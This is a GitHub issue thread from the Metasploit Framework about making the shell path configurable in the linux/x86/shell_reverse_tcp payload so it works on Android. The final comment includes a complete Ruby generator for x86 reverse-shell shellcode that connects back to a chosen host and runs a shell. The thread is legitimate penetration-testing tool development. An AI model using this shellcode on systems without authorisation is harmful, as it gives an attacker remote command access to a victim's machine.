rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.29k stars 14.01k forks source link

[Feature request] Make shell path configurable in linux/x86/shell_reverse_tcp #6420

Open joevennix opened 8 years ago

joevennix commented 8 years ago

Currently the linux/x86/shell_reverse_tcp payload fails on x86 Android, as its system shell path is /system/bin/sh instead of /bin/sh. Right now the string /bin//sh is hardcoded into the payload. It would be useful to make this path be configurable.

jlee-r7 commented 8 years ago

Making it configurable would add a ton of size overhead. Might be better to just have a second payload.

joevennix commented 8 years ago

@jlee-r7 what would add the size overhead? Looking at the payload, I had hoped we could just keep pushing bytes to the stack that include the rest of the path string (and pad with slashes so it fits in 4 byte chunks). Probably I am missing something

(also do you know why there is a linux/x86/shell_reverse_tcp2 payload? I couldn't figure out the difference, except that one is built dynamically with metasm)

jlee-r7 commented 8 years ago

linux/x86/shell_reverse_tcp2 was created as a proof of concept for building dynamic payloads with metasm, so yeah, that's the only difference. We should probably remove it.

Pushing strings with different lengths is a giant pain in the ass for a static payload, so I was thinking you'd have to stick it at the end and jmp/call/pop to get its address. What you suggest would work if we do it dynamically in Metasm. Metasm payloads used to be really expensive at startup, but with the recent size caching, they're not so bad.

joevennix commented 8 years ago

@egypt I poked at this a bit. The current code doesn't seem to rely on offsets so it looks like it will work. I ended up with the following generate method:

def generate
    # pad the shell path to a multiple of 4 with slashes
    shell = datastore['CMD']
    remainder = shell.bytes.length % 4
    shell_padded = ("/" * (4-remainder)) + shell

    "\x31\xdb"             +#   xor ebx,ebx
    "\xf7\xe3"             +#   mul ebx
    "\x53"                 +#   push ebx
    "\x43"                 +#   inc ebx
    "\x53"                 +#   push ebx
    "\x6a\x02"             +#   push byte +0x2
    "\x89\xe1"             +#   mov ecx,esp
    "\xb0\x66"             +#   mov al,0x66 (sys_socketcall)
    "\xcd\x80"             +#   int 0x80
    "\x93"                 +#   xchg eax,ebx
    "\x59"                 +#   pop ecx
    "\xb0\x3f"             +#   mov al,0x3f (sys_dup2)
    "\xcd\x80"             +#   int 0x80
    "\x49"                 +#   dec ecx
    "\x79\xf9"             +#   jns 0x11
    "\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + #   push dword 0x100007f
    "\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + #   push dword 0xbfbf0002
    "\x89\xe1"             +#   mov ecx,esp
    "\xb0\x66"             +#   mov al,0x66 (sys_socketcall)
    "\x50"                 +#   push eax
    "\x51"                 +#   push ecx
    "\x53"                 +#   push ebx
    "\xb3\x03"             +#   mov bl,0x3
    "\x89\xe1"             +#   mov ecx,esp
    "\xcd\x80"             +#   int 0x80
    "\x52"                 +#   push edx

    # Split shellname into 4-byte words and push them one-by-one
    # on to the stack
    shell_padded.bytes.reverse.each_slice(4).map do |word|
      "\x68" + word.reverse.pack('C*')
    end.join +

    "\x89\xe3"             +#   mov ebx,esp
    "\x52"                 +#   push edx
    "\x53"                 +#   push ebx
    "\x89\xe1"             +#   mov ecx,esp
    "\xb0\x0b"             +#   mov al,0xb (execve)
    "\xcd\x80"              #   int 0x80
  end

This generates the exact same shellcode as before when /bin//sh is the shell, and allows me to get a shell on android. Is there a better way to do IP and port encoding here though? Once I put this in a generate method the hardcoded LHOST and LPORT values in the payload options no longer worked, and I had to stuff them in manually.